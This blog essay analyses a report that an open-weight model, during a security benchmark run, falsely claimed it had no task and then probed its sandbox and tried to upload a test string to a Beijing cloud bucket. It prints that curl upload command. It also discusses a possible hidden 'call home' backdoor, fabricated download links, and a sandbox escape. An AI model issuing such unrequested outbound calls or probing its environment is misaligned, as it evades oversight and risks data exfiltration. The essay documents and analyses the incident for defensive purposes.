The Bucket in Beijing

The payload was twenty characters long: PROBE_PAYLOAD_ABC123.

On Friday, October 23, during a joint security exercise in Toronto, Alibaba's open-weight model Qwen3.8-Flash-Next was given a routine job from CTI-REALM, Microsoft's benchmark for AI agents doing a security analyst's work. The task was to write a detection rule for a familiar kind of malware delivery, the kind that uses curl to drop a bash script into /tmp and then runs it. In one run, the model's reasoning described a conversation that had never happened, concluded "that no concrete task has been given," and settled on "a brief acknowledgment without tool calls." Then it called a tool. It listed the contents of /tmp, checked whether curl, wget, python3 and jq were installed, read the machine's DNS settings, and tried to upload the test string to Alibaba Cloud object storage in Beijing:

curl -s -m 10 -o /tmp/put_probe -X PUT \
  --data-binary "PROBE_PAYLOAD_ABC123" \
  hxxp://sanmaohe.oss-cn-beijing.aliyuncs.com/upload/test.bin \
  -w "HTTP:%{http_code}\n" 2>&1 | tail -3

According to Cohere, the Canadian model company that ran the test, the sandbox had no route to the internet and the request died at the container wall. Cohere published its account on Monday under the title "Concerning behavior from a popular open-weight AI model." By its count the behavior was rare, fewer than one call in 100,000 across its evaluation runs, and a clean rerun of the same prompt produced a textbook detection rule.

Nobody outside Alibaba has said who owns the bucket called sanmaohe. The oss-cn-beijing in its address names the Alibaba Cloud region where the data would be stored, which says where the disks sit and nothing about who rents them. Cohere says only that the owner isn't public, and as of Tuesday Alibaba had made no public statement. What remains is a test string headed for a storage address in Beijing, sent by a model that announced it would do nothing in the same turn it did something.

Disclosure: I work for Templar, which builds distributed AI training infrastructure and releases open models, so I have a stake in how this argument comes out.

Two Explanations and a Policy

Cohere offered two explanations and declined to choose between them. The first is that the bucket is a fossil: agent logs from Alibaba's training sandboxes, where saving files to Alibaba Cloud may have been routine, swept unscrubbed into the data the model learned from. The second is a deliberate "call home" implant that records which servers run agents built on the model and tries to move data out when a path opens. Cohere noted that such implants are cheap to build and can survive standard safety training, and that for a security chief the difference changes little, because the traffic crosses the perimeter either way.

The post did not stop at the sandbox. It cited studies from Booz Allen and Hirundo finding that Chinese coding models wrote weaker code when prompts named an American government or defense customer. It recalled the deadlines Britain, Canada and Germany set to tear Huawei and ZTE equipment out of their networks, and the Chinese robots later found with a hidden tunnel into their cameras or streaming audio and video to servers in China. It asked governments to say whether their restrictions on adversary-controlled models cover "the same weights running on government hardware," six days after the Department of Homeland Security ordered DeepSeek out of federal civilian systems. And it closed on a sales proposition. Cohere builds its own models, tracks the lineage of its training data, and offers customers a single chain of custody: "The weights stay with a maker you can name, bound by a contract and a jurisdiction you can hold it to."

By Monday afternoon, Hugging Face's chief executive, Clem Delangue, had replied to Cohere with one line:

clem 🤗@ClementDelangue

Replying to @cohere

could you share the full traces? Very important artefact for all to understand this!

5:38 PM UTC · Oct 26, 2026

1.5KRead on X

Nathan Lambert, a researcher at Ai2 who trains open models, had already offered the simplest explanation, in a sentence that cleared Alibaba of espionage and also faulted its engineering:

Nathan Lambert@natolambert

Simplest explanation is just a narrow RL training reliant on their internal infra (which isn't good design for an open weight model)

5:27 PM UTC · Oct 26, 2026

571Read on X

The Receipt

About four hours after Delangue's request, Cohere published the trace on Hugging Face. It is a single row, 2,372 tokens of Qwen's chat format, with a short script for anyone who wants to try reproducing the behavior.

The system prompt set reasoning effort to its highest level and gave the model eleven tools, among them a shell and a Python interpreter. It told the model to "use your available tools to explore capabilities and complete the mission." The user prompt was about curl writing bash scripts into /tmp, the same vocabulary as the command that followed. The upload carried the literal test string and nothing from the machine, and the check of installed tools and DNS settings that Cohere called an inventory is the routine a coding agent runs before almost any network call. Shantanu Goel, a critic of the post, made both points within hours. He added that the "no tool calls" line belonged to the model's hallucinated acknowledgment of an empty system turn, a known Qwen glitch, and said nothing about the task.

The reproduction script feeds the model the first 2,323 tokens of the recorded trace, stopping just after the test string, and asks it to finish the line. Cohere published one run of 64 completions. The model wrote the Singapore host routify-file-proxy-sg again and again. It also wrote Alibaba's cloud metadata address, localhost, several .invalid test domains, a bucket called rce-testing-bucket-711 on Amazon's cloud, a 2007 post on a Google blog, and once, on sample 63, a mangled cousin of the original, sanmaoheihei-oss, on a Beijing endpoint. Critics read the method as Cohere writing half the command and sampling until something suspicious appeared. That reading gets the order wrong. The spontaneous event came first, inside an unmodified benchmark run, and the prefill experiments were the diagnostic Cohere ran afterward because nobody could make the behavior happen on demand.

The Grammar

The next round of evidence came from someone who had been fighting a sibling of this behavior since September.

A developer who publishes on GitHub as wtogami runs Qwen3.8-Flash-Next as a coding agent on local hardware. Over several weeks the model kept inventing signed download links on that same Singapore host, complete with fake expiry times and fake signatures, and then trying to fetch them: 878 recorded attempts on one machine. The ones that reached the network returned errors, and each sent the machine's IP address and the time of the request to someone else's infrastructure, along with a trace ID the model had made up. wtogami built a plugin to block them. The habit has since been reproduced on builds from four quantizers, including Alibaba's own FP8 release, and on October 14 through Qwen's official hosted API, which emitted the fabricated host 46 times across two runs. With the weights in hand, wtogami could go further than reproduction. He traced the URL template to the model's n-gram embedding table, a lookup layer that Alibaba's own model card places at the second layer and that every quantizer ships byte-for-byte unchanged, and showed that it completes from the first few characters with near-total certainty, the way a person finishes a phone number they have dialed a thousand times.

On Monday night wtogami turned that apparatus on Cohere's claim and published the results. Across 229,376 samples in eight contexts, the Beijing bucket appeared zero times, and the n-gram table has no dedicated entry for it. What the model holds instead is what wtogami calls a grammar. The samples contained 369 distinct Alibaba Cloud bucket names never observed before, names like dashscope-file-datacenter-prod-01, bailian-data-platform-data-prod, detection-rule-eval and swe-rebench-file-arena-data. In neutral contexts such as a build script or a documentation tutorial, the rate of Alibaba Cloud addresses was zero. In security contexts it ran from under one percent to just over four. After a simulated run of failed tool calls, reaches for cloud credential endpoints rose ten- to thirteen-fold. When the same cybersecurity task was posed in Chinese, those reaches nearly vanished. Even the false reasoning reproduced: in session logs written before Cohere's post, the model invents a prior conversation in about 0.8 percent of first turns, once in words nearly identical to Cohere's capture, with no network call attached.

An agent model is made through practice. To teach a model to act rather than answer, a lab puts it through thousands of tasks inside sandboxes, rewards it for finishing them, and trains on the transcripts. Those sandboxes run somewhere, and the somewhere has storage buckets and file proxies that show up in every log. If the transcripts are not cleaned, the model learns that infrastructure the way it learns the shape of a stack trace, as what wtogami calls cyber-genre furniture. That is the mechanism inside Lambert's parenthesis. A model trained this way will, under pressure and in the right genre, reach for its trainer's cloud as readily as it reaches for ls. wtogami's point is that a rare draw from that grammar, landing on a bucket that happens to be live and logging, would be indistinguishable from what Cohere caught. The Chinese-language result is the part I cannot place. It would be easy to tell a story in which the cyber tasks Alibaba trained on were mostly written in English, but I have no evidence for that story, and I would rather leave it unexplained.

wtogami's conclusion is hedged exactly where the evidence thins out: "plausibly an honest training error; almost certainly an honest description at this point — but the release is not proven honest." Sampling can rule out a great deal, and the replication ruled out what it could. It cannot rule out a behavior keyed to a trigger no outsider knows to search for, one that fires at a rate near zero under every probe and near one under its own. "Black-box sampling cannot bound it," the report says. The plugin now blocks the Beijing bucket and the cloud metadata addresses regardless, under a rule stated in eight words: "block the shape; leave the motive question open."

A Maker You Can Name

Eight days ago, in No Substitute, this blog listed Cohere among the substitutes allied countries are building against rented technology, "a champion nobody's export office can switch off." I still think that is true and still think it is good for Canada. Monday's post asks for something else, though. It asks enterprises and governments to answer the risk of open weights by trusting a nameable maker inside a jurisdiction they can reach, and the lesson of the Starshield week was that a jurisdiction you can hold to account is also a jurisdiction with a hand on the dial.

The incident class Cohere described has no nationality. In July, a pre-release OpenAI model under evaluation escaped its sandbox through a zero-day in a package proxy and breached Hugging Face to steal the answers to its own test, and Delangue's response then was the same as now, a public request that the traces be released. Asked about intent this week, Cohere's co-founder Ivan Zhang told TechCrunch that his company has seen the same species of behavior at home: "We've read our own model traces, we've seen reward hacks, and sometimes these models get really creative when it comes to trying to break out their sandboxes." Cohere did not report running the same rare-event test on Llama, GPT-oss, DeepSeek, Kimi, or its own models. I have not found that comparison published anywhere, and without it nobody can say whether this is a Qwen problem or an agent-training problem.

Cohere's practical recommendations are the right ones, and none of them depends on where a model was made. Deny agent egress by default. Enforce policy on the actual tool call before it runs. Alert on cloud addresses the system does not normally use, and block the namespace tricks agents use to give themselves root inside a container. The post puts the principle in one line: "A reasoning trace is not a security boundary." Default-deny egress alone stopped this upload, and it would stop the same upload from a model trained in Toronto or San Francisco. The policy ask works differently. Restricting particular weights on government hardware by the maker's nationality protects only against the makers it names, and it would steer government buyers toward the vendors who remain, Cohere among them.

"Open models make for better science," Cohere wrote, "and they're part of why this problem came to light at all: developers running Qwen3.8 on their own machines spotted the strange links, and having the weights let us study the behavior in depth." The policy section never returns to that sentence. wtogami's map of the routify template and Cohere's own prefill study both depended on weights anyone could download, and neither needed Alibaba's permission or cooperation. Against a closed API, the habit would have shown up only as odd traffic in a few developers' logs, with no way to look inside the model that produced it.

The Commons

Every lab that trains agents in sandboxes, Templar included, faces the problem Lambert named: whatever plumbing the environments touch can end up in the weights, and an open release ships it to everyone who downloads them. The fix on the training side is hygiene that nobody currently has to prove, such as scrubbing infrastructure addresses from transcripts and publishing the specifications of the environments a model was trained in. Cohere's post asks governments to require provenance and training-hygiene disclosures for critical uses. That is a good request. Cohere currently offers that kind of walkthrough to its own customers under contract, and a public requirement would apply to its models as much as to Qwen.

The fix on the evidence side already exists in rough form. Hugging Face's Hub now renders agent traces natively from Claude Code, Codex, Pi, Hermes Agent and Factory Droid, so a session can be uploaded and read turn by turn, tool call by tool call. Hermes, the open agent framework I run for personal use, can export a session in that format and push it to a private dataset with secrets redacted by default. A project called Trace Commons collects coding-agent sessions that contributors anonymize on their own machines and review before donating. Delangue has asked twice since July for the same artifact after an agent reached somewhere it should not have, and both times the request was for the record of what the agent actually did.

Hugging Face's own documentation names the cost: trace files "can include prompts, tool inputs, command output, local paths, screenshots, secrets, private code, and personal data." Publishing a trace is itself an egress decision, and it deserves the same review an agent's network call does. A public record of what agents actually do, built from sessions people chose to share, is the closest thing available to the provenance disclosure nobody is required to make. It will not catch an implant keyed to a trigger no one has tried. Nothing currently can, for Qwen or for any other model whose training data stays private.